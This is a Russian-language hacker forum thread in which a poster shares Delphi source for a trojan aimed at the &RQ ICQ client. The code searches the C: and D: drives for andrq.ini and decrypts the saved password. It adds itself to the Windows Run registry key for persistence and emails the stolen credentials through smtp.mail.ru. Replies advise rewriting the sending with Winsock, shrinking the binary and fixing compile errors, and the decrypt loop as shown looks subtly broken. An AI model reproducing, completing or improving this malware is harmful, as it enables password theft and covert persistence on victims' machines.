Трой, который ворует пассы у крысы

Сделал трой)))Декриптор взял из исходников крысы...
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP,Registry;

type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
f:TextFile;
result,s,disk,mess:string;
i:integer;
dir:string;
implementation

{$R *.dfm}
// функция Декриптора взял из исходника &RQ
function passDecrypt(s:string):string;
var
i:integer;
begin
i:=length(s);
while i > 0 do
begin
if s < #70 then
begin
result:=result+char((ord(s[i-1])-40) shl 4+ord(s[i-2])-40);
dec(i,2);
end;
dec(i);
end;

end;
//ищем наш файл
procedure Find;
var
SearchRec: TSearchRec;
begin
GetDir(0,dir);
If Dir[length(Dir)]<>'\' then Dir:=Dir+'\';
if FindFirst('andrq.ini ', faAnyFile,SearchRec) = 0 then
repeat
if (SearchRec.Attr and faAnyFile) = SearchRec.Attr then
begin
//открывам файл и росшифровуем его
i:=0;
AssignFile(f,Dir+SearchRec.Name);
Reset(f);
while not EoF(f) do
begin
i:=i+1;
If i=3 then
begin
Readln(f,s);
end;
end;
mess:=mess+';'+Dir+SearchRec.Name+';'+passDecrypt(s);
CloseFile(f);
end;
until FindNext(SearchRec) <> 0;
if FindFirst('*', faAnyFile, SearchRec) = 0 then
repeat
If (SearchRec.Attr and faDirectory) = faDirectory then
if SearchRec.Name[1] <> '.' then
begin
ChDir(SearchRec.Name);
Find;
ChDir('..');
end;
until FindNext(SearchRec) <> 0;
end;

procedure TForm1.FormCreate(Sender: TObject);
var
reg:TRegistry;
begin
//выполняем процедуру поиска
dir:='D:\';
ChDir(dir);
Find;
dir:='C:\';
ChDir(dir);
Find;
// прописуемся в реестре
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',True);
reg.WriteString('sys',Application.ExeName);
reg.CloseKey;
reg.Free;
//отправляем пароли
IdSMTP1.Host:='smtp.mail.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='ваше мыло';
IdSMTP1.Password:='пароль';
IdSMTP1.AuthenticationType:=atLogin;
with IdMessage1 do
begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:='';

end;

end.

 

Теперь переделай отправку, юзай Winsock! =)

 

похоже как будто бы на делфи трой то сделан ...

 

/me OFFTOP вспомнил прикол c форума )))
{Известны 10 преимуществ Паскаля перед Си Я приведу только одно, но самое важное:
На Си Вы можете написать:

Code:

for(;P("\n").R-;P("\ "))for(e=3DC;e-;P("_ "+(*u++/8)%2))P("| "+ (*u/4)%2);

На Паскале Вы НЕ МОЖЕТЕ такого написать.}

 

влом компилировать но по ходу размер то не детський

 

http://forum.antichat.ru/threadnav33487-1-10.html
юзай KOL&MCK

 

о
помогите новичку, когда компилишь останавливается здесь"IdSMTP1.Host:='smtp.mail.ru';" и компилица не хочет

 

вместо этого:

Code:

begin
Body.Text:=mess;
From.Text := 'от кого';
Recipients.EMailAddresses := 'кому';
Subject := 'тема';
end;
IdSMTP1.Connect;
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect;
mess:=''; 

end;

попробуй это:

Code:

begin 
  NMSMTP1.Host := 'smtp.mailserver.com'; 
  NMSMTP1.UserID := 'h.abdullah'; 
  NMSMTP1.Connect; 

  NMSMTP1.PostMessage.FromAddress := '[email protected]'; 
  NMSMTP1.PostMessage.ToAddress.Text := '[email protected]'; 
  NMSMTP1.PostMessage.Body.Text := 'Текст письма';
  NMSMTP1.PostMessage.Subject := 'Тема письма';
  NMSMTP1.SendMail; 
end;

я с дельфи недавно, могу ошибаться

 

ты на форму компонент IdSMTP с вкладки Indy Clients разместил?